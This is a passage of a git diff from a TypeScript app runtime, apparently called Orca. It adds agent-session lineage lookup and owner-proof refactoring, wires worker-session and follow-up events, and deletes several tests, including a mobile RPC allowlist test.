AgentSessionProviderHandleLink + now: number + leaseTtlMs?: number + accountAcquisition?: { generation: string; recipe: ClaudeAccountRecipe } + }): Promise => + mutate(args.sessionId, (record) => + withAcquiredAgentSessionAccount( + proveAgentSessionOwner({ + record, + fence: args.fence, + ...(args.link ? { link: args.link } : {}), + now: args.now, + leaseTtlMs: args.leaseTtlMs ?? leaseTtlMs + }), + args.accountAcquisition + ) + ) +} diff --git a/src/main/runtime/agent-session-record-lineage.ts b/src/main/runtime/agent-session-record-lineage.ts new file mode 100644 index 00000000000..4c6ca874663 --- /dev/null +++ b/src/main/runtime/agent-session-record-lineage.ts @@ -0,0 +1,34 @@ +import type Database from '../sqlite/sync-database' +import type { AgentSessionRecord } from '../../shared/agent-session-record' + +/** Indexed reverse links cover historical clear successors without scanning every conversation. */ +export function agentSessionRecordLineage( + db: Database.Database, + record: AgentSessionRecord, + getRecord: (id: string) => AgentSessionRecord | null +): AgentSessionRecord[] { + const records = [record] + const seen = new Set([record.sessionId]) + const prior = db.prepare(`SELECT session_id FROM agent_session_records + WHERE CASE WHEN json_valid(record_json) THEN json_extract(record_json, '$.conversationCommand.replacementSessionId') END = ?`) + for (let current = record; ;) { + const rows = prior.all(current.sessionId) + if ( + rows.length !== 1 || + typeof rows[0].session_id !== 'string' || + seen.has(rows[0].session_id) + ) { + return records.toReversed() + } + const earlier = getRecord(rows[0].session_id) + if ( + earlier?.conversationCommand?.command !== 'clear' || + earlier.conversationCommand.phase !== 'committed' + ) { + return records.toReversed() + } + seen.add(earlier.sessionId) + records.push(earlier) + current = earlier + } +} diff --git a/src/main/runtime/agent-session-record-store.ts b/src/main/runtime/agent-session-record-store.ts index b32208de2b8..d865f67ece7 100644 --- a/src/main/runtime/agent-session-record-store.ts +++ b/src/main/runtime/agent-session-record-store.ts @@ -1,3 +1,6 @@ +import { agentSessionRecordLineage } from './agent-session-record-lineage' +import type Database from '../sqlite/sync-database' +import { createAgentSessionOwnerProof } from './agent-session-owner-proof' import { backfillAgentSessionPermissionModes } from './agent-session/ownership/agent-session-permission-backfill' import { createAgentSessionConversationReceipts } from './agent-session-conversation-receipts' import { pinAgentSessionRecordLaunchDirectory } from './agent-session-record-launch-directory' @@ -23,7 +26,6 @@ import { retireAgentSessionClaimKey } from './agent-session/ownership/agent-session-claim-key-retention' import type { AgentSessionOwnerProbe } from '../../shared/agent-session-lease-adjudication' -import type { AgentSessionProviderHandleLink } from '../../shared/agent-session-provider-handle' import { agentSessionScopeKey, type AgentSessionExecutionLocation, @@ -33,7 +35,6 @@ import { import { commitAgentSessionProcessIdentity, evictAgentSessionOwner, - proveAgentSessionOwner, type AgentSessionProcessIdentityCommit } from './agent-session/ownership/agent-session-lease-transitions' import { @@ -90,7 +91,8 @@ export class AgentSessionRecordStore extends AgentSessionRecordTabs { private constructor( transactions: AgentSessionStoreTransactions, - readonly hostId: string + readonly hostId: string, + private readonly database: Database.Database ) { super(transactions) this.founding = createAgentSessionFoundingStore(transactions, this.firstRecordListeners) @@ -110,7 +112,7 @@ export class AgentSessionRecordStore extends AgentSessionRecordTabs { args.hostId, args.legacySessionTabIds ) - return new AgentSessionRecordStore(transactions, args.hostId) + return new AgentSessionRecordStore(transactions, args.hostId, args.journalDatabase.db) } private get state(): AgentSessionStoreState { @@ -128,6 +130,9 @@ export class AgentSessionRecordStore extends AgentSessionRecordTabs { getRecord = (sessionId: string): AgentSessionRecord | null => this.state.records.get(sessionId) ?? null + lineageRecords = (record: AgentSessionRecord) => + agentSessionRecordLineage(this.database, record, this.getRecord) + getConversation = (sessionId: string) => getAgentSessionConversation(this.state, sessionId) listConversations = () => listAgentSessionConversations(this.state) selectWritableRecord = (sessionId: string) => @@ -200,23 +205,10 @@ export class AgentSessionRecordStore extends AgentSessionRecordTabs { commitProcessIdentity = (args: AgentSessionProcessIdentityCommit): Promise => this.mutate(args.sessionId, (record) => commitAgentSessionProcessIdentity({ ...args, record })) - async proveOwner(args: { - sessionId: string - fence: number - link?: AgentSessionProviderHandleLink - now: number - leaseTtlMs?: number - }): Promise { - return this.mutate(args.sessionId, (record) => - proveAgentSessionOwner({ - record, - fence: args.fence, - ...(args.link ? { link: args.link } : {}), - now: args.now, - leaseTtlMs: args.leaseTtlMs ?? AGENT_SESSION_LEASE_TTL_MS - }) - ) - } + proveOwner = createAgentSessionOwnerProof( + (id, transition) => this.mutate(id, transition), + AGENT_SESSION_LEASE_TTL_MS + ) settleFailedAcquisition = (args: AgentSessionFailedAcquisitionSettlement) => this.transact((draft) => settleFailedAgentSessionAcquisition(draft, args)) diff --git a/src/main/runtime/agent-session/ownership/agent-session-lease-transitions.ts b/src/main/runtime/agent-session/ownership/agent-session-lease-transitions.ts index 80e891c2688..7abe15b94f9 100644 --- a/src/main/runtime/agent-session/ownership/agent-session-lease-transitions.ts +++ b/src/main/runtime/agent-session/ownership/agent-session-lease-transitions.ts @@ -1,3 +1,4 @@ +import { acquiredAccountAcrossLease } from '../../../../shared/agent-session-acquired-account' /** Pure transitions applied by the store in one durable transaction. * Writer admission requires reservation, observed process identity and provider-handle proof at one fence. */ @@ -32,7 +33,13 @@ export function withLease( record: AgentSessionRecord, lease: AgentSessionLease ): AgentSessionRecord { - return { ...record, lease, updatedAt: lease.lastRenewedAt } + const acquiredAccount = acquiredAccountAcrossLease(record, lease) + return { + ...record, + lease, + ...(acquiredAccount === undefined ? {} : { acquiredAccount }), + updatedAt: lease.lastRenewedAt + } } export function assertFence(lease: AgentSessionLease, fence: number): void { diff --git a/src/main/runtime/construction/runtime-identity-state.ts b/src/main/runtime/construction/runtime-identity-state.ts index b292a7d633c..41a494b1696 100644 --- a/src/main/runtime/construction/runtime-identity-state.ts +++ b/src/main/runtime/construction/runtime-identity-state.ts @@ -68,6 +68,7 @@ import type { HostScopedWorktreeKey } from '../../../shared/worktree/host-qualif import { RuntimeConstructionServices } from './runtime-construction-services' export abstract class OrcaRuntimeWithRuntimeId extends RuntimeConstructionServices { + protected abstract claimIdleShellPromptForPty(ptyId: string): Promise protected readonly runtimeId = randomUUID() protected readonly startedAt = Date.now() @@ -332,7 +333,8 @@ export abstract class OrcaRuntimeWithRuntimeId extends RuntimeConstructionServic (ptyId) => this.getPtyAgent(ptyId), (ptyId, data, inputKind) => this.ptyController?.writeWithSettlement?.(ptyId, data, inputKind) ?? - writeRefused('provider_cannot_settle') + writeRefused('provider_cannot_settle'), + (ptyId) => this.claimIdleShellPromptForPty(ptyId) ) // Every tui-idle site must rank the same pane evidence identically. diff --git a/src/main/runtime/host-terminal-close-persistence-durability.test.ts b/src/main/runtime/host-terminal-close-persistence-durability.test.ts index c2b7c57e74c..b3d0a4c1e10 100644 --- a/src/main/runtime/host-terminal-close-persistence-durability.test.ts +++ b/src/main/runtime/host-terminal-close-persistence-durability.test.ts @@ -68,16 +68,6 @@ describe('host-created terminal close durability', () => { expect(store.getWorkspaceSession().tabsByWorktree?.[WT] ?? []).toEqual([]) }) - it('stays removed with the PTY still connected and no exit ever delivered', async () => { - const store = await makeStore() - await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) - store.setWorkspaceSession(rendererWriteWithout(store.getWorkspaceSession(), TAB)) - for (let i = 0; i < 3; i += 1) { - store.setWorkspaceSession({ ...store.getWorkspaceSession() }) - } - expect(store.getWorkspaceSession().tabsByWorktree?.[WT] ?? []).toEqual([]) - }) - it('pre-existing host-authoritative membership rebases the close away (not ours)', async () => { const store = await makeStore() store.setWorkspaceSession({ @@ -102,24 +92,6 @@ describe('topology fence census', () => { rmSync(testState.dir, { recursive: true, force: true }) }) - it('no host-create binding shape arms a fresh repo fence', async () => { - for (const [index, extra] of [ - {}, - { incarnationId: '33333333-3333-4333-8333-333333333333' }, - { startupCwd: '/tmp/wt-cli' } - ].entries()) { - const store = await makeStore() - await store.persistPtyBinding({ - worktreeId: WT, - tabId: `${TAB}-${index}`, - leafId: LEAF, - ptyId: `${PTY}-${index}`, - ...extra - }) - expect(store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0).toBe(0) - } - }) - it('a second pane in the same tab still does not arm the fence', async () => { const store = await makeStore() await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) @@ -131,16 +103,4 @@ describe('topology fence census', () => { }) expect(store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0).toBe(0) }) - - it('an armed fence keeps climbing, so exit-driven retirement still outranks replays', async () => { - const store = await makeStore() - store.setWorkspaceSession({ - ...store.getWorkspaceSession(), - terminalTopologyRevisionByRepoId: { [REPO_ID]: 1 } - }) - await store.persistPtyBinding({ worktreeId: WT, tabId: TAB, leafId: LEAF, ptyId: PTY }) - expect( - store.getWorkspaceSession().terminalTopologyRevisionByRepoId?.[REPO_ID] ?? 0 - ).toBeGreaterThan(1) - }) }) diff --git a/src/main/runtime/managed-worktree-create-telemetry.test.ts b/src/main/runtime/managed-worktree-create-telemetry.test.ts index d79a6148124..e01918e6743 100644 --- a/src/main/runtime/managed-worktree-create-telemetry.test.ts +++ b/src/main/runtime/managed-worktree-create-telemetry.test.ts @@ -139,33 +139,6 @@ describe('runtime create events', () => { _resetWorktreeCreateConcurrencyForTests() }) - it('sends one workspace_created with the runtime entry point and the timing fields', async () => { - await makeRuntime().createManagedWorktree({ - repoSelector: 'repo-1', - name: 'app', - baseBranch: 'origin/main', - telemetrySource: 'sidebar' - }) - await vi.waitFor(() => expect(events('workspace_created')).toHaveLength(1)) - - expect(events('workspace_created')[0]).toMatchObject({ - source: 'sidebar', - from_existing_branch: true, - create_entry_point: 'runtime', - execution_host: 'local', - prepared_checkout: 'hit', - prepared_checkout_reset: 'none', - prepared_checkout_origin: 'prefetch', - concurrent_creates: 0, - concurrent_preparations: 0, - repo_file_count_bucket: '1k-10k', - post_checkout_hook: 'absent' - }) - expect(typeof events('workspace_created')[0].git_worktree_add_ms).toBe('number') - expect(mocks.probe).toHaveBeenCalledWith('/repo') - expect(events('workspace_create_failed')).toHaveLength(0) - }) - it('sends one workspace_create_failed naming the phase the create died in', async () => { mocks.createLocal.mockImplementation(async ({ timing }: LocalCreateArgs) => timing.time('git_worktree_add', async () => { @@ -251,15 +224,6 @@ describe('runtime create events', () => { expect(mocks.probe).not.toHaveBeenCalled() }) - it('sends nothing for a folder workspace, as before', async () => { - await makeRuntime({ id: 'folder', path: '/notes', kind: 'folder' }).createManagedWorktree({ - repoSelector: 'folder', - name: 'notes' - }) - await new Promise((resolve) => setImmediate(resolve)) - expect(mocks.track).not.toHaveBeenCalled() - }) - it('sends nothing when the request is rejected before any create starts', async () => { await expect( makeRuntime().createManagedWorktree({ diff --git a/src/main/runtime/mobile-rpc-allowlist.test.ts b/src/main/runtime/mobile-rpc-allowlist.test.ts deleted file mode 100644 index 50ecb917bcf..00000000000 --- a/src/main/runtime/mobile-rpc-allowlist.test.ts +++ /dev/null @@ -1,244 +0,0 @@ -import { readdirSync, readFileSync, statSync } from 'node:fs' -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import { ALL_RPC_METHODS } from './rpc/methods' -import { MOBILE_RPC_METHOD_ALLOWLIST } from './runtime-rpc/runtime-rpc-mobile-method-allowlist' - -const MOBILE_DYNAMIC_RPC_METHODS = [ - // Computed sendRequest names evade the literal source scan. - 'accounts.selectClaude', - 'accounts.selectCodex', - 'accounts.selectCodexForTarget', - 'terminal.createAgentSession', - 'terminal.ensureAgentSession', - 'github.updateIssue', - 'github.updatePRState', - 'gitlab.updateIssue', - 'gitlab.updateMR', - // GitHub wrappers pass names positionally, outside the literal sendRequest scan. - 'github.repoSlug', - 'github.prForBranch', - 'github.workItemDetails', - 'github.prChecks', - 'github.prCheckDetails', - 'github.listAssignableUsers', - 'github.markPRReadyForReview', - 'github.mergePR', - 'github.setPRAutoMerge', - 'github.requestPRReviewers', - 'github.removePRReviewers', - 'github.rerunPRChecks', - 'github.updatePRTitle', - 'github.addPRReviewCommentReply', - 'github.addIssueComment', - 'github.resolveReviewThread', - 'github.project.updateIssueCommentBySlug', - 'github.project.deleteIssueCommentBySlug', - 'hostedReview.forBranch', - 'runtime.clientCapabilities.update', - 'agentSession.send', - 'agentSession.cancel', - 'agentSession.history', - 'agentSession.hold', - 'agentSession.release' -] - -// These methods require both client and host built with ORCA_SIDEBAR_INPUTS=main. -const MOBILE_SIDEBAR_INPUTS_RPC_METHODS = [ - 'sidebarInputs.read', - 'sidebarInputs.repoIcons', - 'ui.setCollapsed' -] - -const MOBILE_STREAMING_CLEANUP_RPC_METHODS = [ - // Generated cleanup paths evade the literal source scan. - 'accounts.unsubscribe', - 'browser.screencast.unsubscribe', - 'notifications.unsubscribe', - 'runtime.clientEvents.unsubscribe', - 'session.tabs.unsubscribe', - 'session.tabs.unsubscribeAll', - 'terminal.unsubscribe' -] - -function listSourceFiles(root: string): string[] { - const entries = readdirSync(root) - const files: string[] = [] - for (const entry of entries) { - const path = join(root, entry) - const stat = statSync(path) - if (stat.isDirectory()) { - files.push(...listSourceFiles(path)) - continue - } - if (!/\.[cm]?[jt]sx?$/.test(entry) || /\.test\.[cm]?[jt]sx?$/.test(entry)) { - continue - } - files.push(path) - } - return files -} - -function mobileLiteralRpcMethods(): string[] { - const roots = [join(process.cwd(), 'mobile/app'), join(process.cwd(), 'mobile/src')] - const methods = new Set() - for (const file of roots.flatMap(listSourceFiles)) { - const source = readFileSync(file, 'utf8') - for (const match of source.matchAll(/sendRequest\(\s*['"]([^'"]+)/g)) { - methods.add(match[1]!) - } - for (const match of source.matchAll(/subscribe\(\s*['"]([^'"]+)/g)) { - methods.add(match[1]!) - } - for (const match of source.matchAll(/method:\s*['"]([^'"]+)/g)) { - const method = match[1]! - if (method.includes('.')) { - methods.add(method) - } - } - } - return [...methods].sort() -} - -function mobileRpcMethods(): string[] { - return [...new Set([...mobileLiteralRpcMethods(), ...MOBILE_DYNAMIC_RPC_METHODS])] - .filter((method) => !MOBILE_SIDEBAR_INPUTS_RPC_METHODS.includes(method)) - .sort() -} - -function mobileRpcAllowlist(): ReadonlySet { - return MOBILE_RPC_METHOD_ALLOWLIST -} - -function registeredRuntimeMethods(): Set { - return new Set(ALL_RPC_METHODS.map((method) => method.name)) -} - -describe('mobile RPC allowlist', () => { - it('grants Jira reads while keeping credentials, writes, and desktop site selection private', () => { - const allowed = mobileRpcAllowlist() - for (const method of [ - 'jira.status', - 'jira.listIssues', - 'jira.searchIssues', - 'jira.getIssue', - 'jira.issueComments' - ]) { - expect(allowed.has(method), method).toBe(true) - } - for (const method of [ - 'jira.connect', - 'jira.disconnect', - 'jira.selectSite', - 'jira.createIssue', - 'jira.updateIssue', - 'jira.addIssueComment' - ]) { - expect(allowed.has(method), method).toBe(false) - } - }) - - it('allows every RPC method used by the mobile app', () => { - const allowed = mobileRpcAllowlist() - const missing = mobileRpcMethods().filter((method) => !allowed.has(method)) - - expect(missing).toEqual([]) - }) - - it('registers every RPC method used by the mobile app', () => { - const registered = registeredRuntimeMethods() - const missing = mobileRpcMethods().filter((method) => !registered.has(method)) - - expect(missing).toEqual([]) - }) - - it('allows and registers the sidebar feed the phone reads only in a switched-on build', async () => { - expect(mobileLiteralRpcMethods()).toEqual( - expect.arrayContaining(MOBILE_SIDEBAR_INPUTS_RPC_METHODS) - ) - for (const method of MOBILE_SIDEBAR_INPUTS_RPC_METHODS) { - expect(mobileRpcAllowlist().has(method)).toBe(false) - } - vi.resetModules() - vi.doMock('../../shared/sidebar-inputs-switch', () => ({ ORCA_SIDEBAR_INPUTS_IS_MAIN: true })) - try { - const { MOBILE_RPC_METHOD_ALLOWLIST: switchedOn } = - await import('./runtime-rpc/runtime-rpc-mobile-method-allowlist') - const { ALL_RPC_METHODS: switchedOnMethods } = await import('./rpc/methods') - const registered = new Set(switchedOnMethods.map((method) => method.name)) - for (const method of MOBILE_SIDEBAR_INPUTS_RPC_METHODS) { - expect(switchedOn.has(method)).toBe(true) - expect(registered.has(method)).toBe(true) - } - } finally { - vi.doUnmock('../../shared/sidebar-inputs-switch') - vi.resetModules() - } - }) - - it('allows every cleanup RPC for mobile streaming subscriptions', () => { - const allowed = mobileRpcAllowlist() - const missing = MOBILE_STREAMING_CLEANUP_RPC_METHODS.filter((method) => !allowed.has(method)) - - expect(missing).toEqual([]) - }) - - it('does not grant mobile credentials control over host updates', () => { - const allowed = mobileRpcAllowlist() - expect( - ['updater.getStatus', 'updater.check', 'updater.download', 'updater.install'].filter( - (method) => allowed.has(method) - ) - ).toEqual([]) - }) - - it('exposes only the mobile structured agent-session surface', () => { - expect( - [...mobileRpcAllowlist()].filter((method) => method.startsWith('agentSession.')) - ).toEqual([ - 'agentSession.createSupport', - 'agentSession.create', - 'agentSession.ensure', - 'agentSession.reveal', - 'agentSession.send', - 'agentSession.cancel', - 'agentSession.queuedMessageSend', - 'agentSession.queuedMessageDelete', - 'agentSession.queuedMessageMove', - 'agentSession.queuedMessageUpdate', - 'agentSession.queuedMessageEditHold', - 'agentSession.queuedMessagesResume', - 'agentSession.close', - 'agentSession.respondToApproval', - 'agentSession.respondToQuestion', - 'agentSession.setOption', - 'agentSession.handoffStatus', - 'agentSession.options', - 'agentSession.modelCatalog', - 'agentSession.conversationCommand', - 'agentSession.commands', - 'agentSession.history', - 'agentSession.currentRequests', - 'agentSession.subscribe', - 'agentSession.unsubscribe', - 'agentSession.subscribeStatus', - 'agentSession.readVisual', - 'agentSession.item', - 'agentSession.hold', - 'agentSession.release' - ]) - expect(mobileRpcAllowlist().has('agentSession.attach')).toBe(false) - }) - - it('lets a phone upload chat attachments and read stored images back', () => { - expect( - [...mobileRpcAllowlist()].filter((method) => method.startsWith('agentSessionAttachment.')) - ).toEqual([ - 'agentSessionAttachment.uploadStart', - 'agentSessionAttachment.uploadAppend', - 'agentSessionAttachment.uploadCommit', - 'agentSessionAttachment.uploadAbort', - 'agentSessionAttachment.read' - ]) - }) -}) diff --git a/src/main/runtime/orca-runtime-agent-transitions.ts b/src/main/runtime/orca-runtime-agent-transitions.ts index ca3b3725bf7..7a58e393dab 100644 --- a/src/main/runtime/orca-runtime-agent-transitions.ts +++ b/src/main/runtime/orca-runtime-agent-transitions.ts @@ -1,3 +1,4 @@ +import { watchMovedWorkerResumeSessions } from './rpc/methods/orchestration/worker/worker-resume-session-capture' import { AgentTransitionDetector } from '../agent-hooks/agent-transition-detector' import type { ConnectorCloud } from '../connector-cloud/connector-cloud' import type { ExternalConversationSeam } from '../external-conversations/external-conversation-seam' @@ -83,6 +84,17 @@ export abstract class OrcaRuntimeWithAgentTransitions extends OrcaRuntimeWithMig this.agentTransitions.subscribe((change) => this.terminalAgentPhonePush.observe(change)) this.agentTransitions.subscribe((change) => this.terminalWorkerTurnStops.observe(change)) this.agentTransitions.subscribe((change) => this.workerAutoReleaseActivity.observePane(change)) + const saveMovedWorkerSessions = watchMovedWorkerResumeSessions( + this, + () => this._orchestrationDb + ) + this.subscribeAgentProviderSessionChangesFn?.((sessions) => { + try { + saveMovedWorkerSessions(sessions) + } catch (error) { + console.warn('[orchestration] a worker conversation change was not saved', error) + } + }) } /** Whether a worker's agent is in a turn now, working or waiting on the user; an automatic close never takes one. */ diff --git a/src/main/runtime/orca-runtime-files-terminal-artifact-grants.test.ts b/src/main/runtime/orca-runtime-files-terminal-artifact-grants.test.ts index 862ac9693c4..497d1ce01ea 100644 --- a/src/main/runtime/orca-runtime-files-terminal-artifact-grants.test.ts +++ b/src/main/runtime/orca-runtime-files-terminal-artifact-grants.test.ts @@ -2,7 +2,8 @@ import { describe, expect, it, vi } from 'vitest' import { mkdtemp, realpath, symlink, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { enoent, resolveAuthorizedPathMock, statMock } from './orca-runtime-files-mock-registry' +import { resolveAuthorizedPathMock, statMock } from './orca-runtime-files-mock-registry' + import { createRuntimeFileCommands, useRuntimeFileCommandsLifecycle @@ -38,34 +39,6 @@ describe('RuntimeFileCommands', () => { describe('resolveTerminalPath', () => { const { tempDirs, tempFile } = useTerminalArtifactTempFiles() - it('returns an absolute open target for an existing local temp path outside the worktree', async () => { - const artifactPath = await tempFile('result.json', '{}') - const { commands } = createRuntimeFileCommands({ path: '/repo' }) - resolveAuthorizedPathMock.mockImplementation(async (p: string) => p) - statMock.mockResolvedValue({ isDirectory: () => false, size: 12, dev: 1, ino: 2, mtimeMs: 3 }) - const canonicalPath = await realpath(artifactPath) - - const result = await resolveTerminalArtifactPath(commands, artifactPath) - - expect(result).toMatchObject({ - worktree: 'wt-1', - relativePath: null, - absolutePath: canonicalPath, - exists: true, - isDirectory: false, - openTarget: { - kind: 'absolute-file', - provider: 'local', - absolutePath: canonicalPath - } - }) - expect(result.openTarget?.kind === 'absolute-file' ? result.openTarget.grantId : '').toMatch( - /\S/ - ) - expect(resolveAuthorizedPathMock).not.toHaveBeenCalledWith(canonicalPath, expect.anything()) - expect(statMock).not.toHaveBeenCalled() - }) - // Why: a chat link or typed path carries no terminal; the caller's terminal access is the authority. it('grants a writable file outside every workspace with no terminal or chat context', async () => { const artifactPath = await tempFile('handoff.md', '# handoff') @@ -108,16 +81,6 @@ describe('RuntimeFileCommands', () => { ).resolves.toEqual({ ok: true }) }) - it('reports a missing file outside every workspace as absent', async () => { - const { commands } = createRuntimeFileCommands({ path: '/repo' }) - const missingPath = join(tmpdir(), `orca-missing-${process.pid}-${Date.now()}.md`) - - const result = await commands.resolveTerminalPath('id:wt-1', missingPath, null, 'client-a') - - expect(result).toMatchObject({ relativePath: null, exists: false }) - expect(result.openTarget).toBeUndefined() - }) - // Why: this machine's home is the Windows user's, not the distro user's. it('refuses tilde paths when the workspace runs in WSL', async () => { Object.defineProperty(process, 'platform', { configurable: true, value: 'win32' }) @@ -157,24 +120,6 @@ describe('RuntimeFileCommands', () => { ).rejects.toThrow('Not a regular file') }) - it('resolves a relative path against the terminal cwd, not a stale client cwd', async () => { - const dir = await mkdtemp(join(tmpdir(), 'orca-terminal-artifact-')) - tempDirs.push(dir) - await writeFile(join(dir, 'result.json'), '{}') - const { commands } = createRuntimeFileCommands({ path: '/repo' }) - resolveAuthorizedPathMock.mockImplementation(async (p: string) => p) - statMock.mockRejectedValue(enoent()) - - const result = await resolveTerminalArtifactPath(commands, 'result.json', dir) - - expect(result).toMatchObject({ - relativePath: 'result.json', - absolutePath: '/repo/result.json', - exists: false - }) - expect(result.openTarget).toBeUndefined() - }) - it('uses the canonical local temp artifact path for the exact grant', async () => { const dir = await mkdtemp(join(tmpdir(), 'orca-terminal-artifact-')) tempDirs.push(dir) diff --git a/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts b/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts index 9c3c773ae5b..39500eb8bc5 100644 --- a/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts +++ b/src/main/runtime/orca-runtime-test-mocks/setup.spec.ts @@ -419,7 +419,12 @@ vi.mock('../../source-control/stacked-hosted-review-creation', () => ({ })) vi.mock('../../source-control/hosted-review', () => ({ - getHostedReviewForBranch: getHostedReviewForBranchMock + getHostedReviewForBranch: getHostedReviewForBranchMock, + // Handlers read through this; keep asserting on the one mock. + readHostedReviewForBranch: vi.fn(async (input: unknown) => ({ + review: await getHostedReviewForBranchMock(input), + readOutcome: 'cached' + })) })) vi.mock('../../github/client', async (importOriginal) => { diff --git a/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts index 4ff812e3ba7..d243b99c082 100644 --- a/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts +++ b/src/main/runtime/orca-runtime-tests/hooks-and-hosted-review-part-03.spec.ts @@ -1,5 +1,7 @@ import { describe, expect, it, vi } from 'vitest' import { OrcaRuntimeService, gitRunner, setPlatform } from '../orca-runtime-test-mocks.spec' +import { readHostedReviewForBranch } from '../../source-control/hosted-review' +import type { HostedReviewInfo } from '../../../shared/hosted-review' import { TEST_REPO_ID, TEST_REPO_PATH, @@ -113,4 +115,39 @@ describe('OrcaRuntimeService', () => { asyncGitSpy.mockRestore() } }) + + const mr: HostedReviewInfo = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' + } + it.each([ + { reportReadOutcome: true, review: mr, label: 'a review' }, + { reportReadOutcome: true, review: null, label: 'a definitive null' }, + { reportReadOutcome: false, review: mr, label: 'a review' }, + { reportReadOutcome: undefined, review: null, label: 'a definitive null' } + ])( + 'answers $label with the read outcome only when asked (reportReadOutcome=$reportReadOutcome)', + async ({ reportReadOutcome, review }) => { + vi.mocked(readHostedReviewForBranch).mockResolvedValueOnce({ + review, + readOutcome: 'provider' + }) + const runtime = new OrcaRuntimeService(store) + + const reply = await runtime.getHostedReviewForBranch({ + repoSelector: `id:${TEST_REPO_ID}`, + branch: 'feature', + userRefresh: true, + ...(reportReadOutcome === undefined ? {} : { reportReadOutcome }) + }) + + expect(reply).toEqual(reportReadOutcome ? { review, readOutcome: 'provider' } : review) + } + ) }) diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts index 2d74248d146..65363e69046 100644 --- a/src/main/runtime/orca-runtime.ts +++ b/src/main/runtime/orca-runtime.ts @@ -1,6 +1,7 @@ import { conversationRecordReader } from './orchestration/structured-session-lineage' import type { RuntimeLinearCommandSurface } from './runtime-linear-command-surface' import { installRuntimeLinearCommandSurface } from './runtime-linear-command-surface' +import { publishNativeChatFollowUpChanges } from './runtime-native-chat-follow-up-events' import { publishWorkspaceViewChanges } from './runtime-workspace-view-change-events' import { OrcaRuntimeWithSidebarTemporal, @@ -53,6 +54,8 @@ import { sidebarInputsFeedDomains } from './sidebar-inputs/sidebar-inputs-feed-d import { requireSwitchedOn } from './sidebar-inputs/require-switched-on' import { HEADLESS_RUNTIME_WINDOW_ID } from '../../shared/runtime-session-contracts' import { getHostDisplayLabelOverrides } from '../../shared/host-setting-overrides' +import type { OrchestrationDb } from './orchestration/db' +import { continueRestoredWorkerMailSoon } from './rpc/methods/orchestration/messaging/settled-worker-follow-through' const OrcaRuntimeSidebarBase: typeof OrcaRuntimeWithAgentTransitions = ORCA_SIDEBAR_INPUTS_IS_MAIN ? OrcaRuntimeWithSidebarTemporal @@ -167,6 +170,7 @@ class OrcaRuntimeService extends OrcaRuntimeSidebarBase { registerDetectedWorktreeScanInvalidation() registerWorktreeChangeInvalidator((repoId) => this.invalidateWorktreeCatalog(repoId)) publishWorkspaceViewChanges(this.store, (event) => this.emitClientEvent(event)) + publishNativeChatFollowUpChanges(this.store, (event) => this.emitClientEvent(event)) } private structuredAgentAvailability?: ReturnType @@ -235,6 +239,10 @@ class OrcaRuntimeService extends OrcaRuntimeSidebarBase { this.workspaceLayoutStream.markLiveTitlesDirty() } + protected continueRestoredWorkerMail(db: OrchestrationDb): void { + continueRestoredWorkerMailSoon(this, db, () => this._orchestrationDb === db) + } + /** Read-only layout stream; layout.subscribe is not advertised yet. */ subscribeWorkspaceLayouts( listener: Parameters[0] diff --git a/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts b/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts index ef2af3a2b02..2b8c8e758d6 100644 --- a/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts +++ b/src/main/runtime/orchestration-mailbox-cold-park-idle.spec.ts @@ -122,7 +122,7 @@ describe('orchestration mailbox cold-park idle continuation', () => { db.close() }) - it('releases a delayed pointer watermark after an explicit check claims the batch', async () => { + it('submits a delayed pointer write after an explicit check claims the batch', async () => { vi.useFakeTimers() const db = createDatabase('orca-mailbox-delayed-pointer-check-') const harness = createRuntime(db) @@ -153,8 +153,8 @@ describe('orchestration mailbox cold-park idle continuation', () => { expect(settleFirstPointerWrite).toBeDefined() settleFirstPointerWrite?.(stubWriteSettlement(true)) - await vi.advanceTimersByTimeAsync(0) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(0) + await vi.advanceTimersByTimeAsync(500) + expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(1) await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) const later = insertDirectRunMessage(db, run.id, 'Deliver after pointer settlement') @@ -163,7 +163,7 @@ describe('orchestration mailbox cold-park idle continuation', () => { expect(pointerCount(harness.write)).toBe(2) await vi.advanceTimersByTimeAsync(500) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(1) + expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(2) expect(db.getMessageById(later.id)?.delivered_at).toEqual(expect.any(String)) db.close() }) diff --git a/src/main/runtime/orchestration-mailbox-delivery.test.ts b/src/main/runtime/orchestration-mailbox-delivery.test.ts index d9aa51de117..6fa134751cf 100644 --- a/src/main/runtime/orchestration-mailbox-delivery.test.ts +++ b/src/main/runtime/orchestration-mailbox-delivery.test.ts @@ -12,3 +12,4 @@ import './orchestration-dispatch-mailbox-delivery.spec' import './orchestration-mailbox-pointer-cli-command.spec' import './orchestration-mailbox-transport-settlement.spec' import './orchestration-mailbox-cold-park-idle.spec' +import './orchestration-mailbox-typed-pointer-submit.spec' diff --git a/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts b/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts index b27f009b0c7..4725de198d0 100644 --- a/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts +++ b/src/main/runtime/orchestration-mailbox-notification-consistency.test.ts @@ -692,27 +692,6 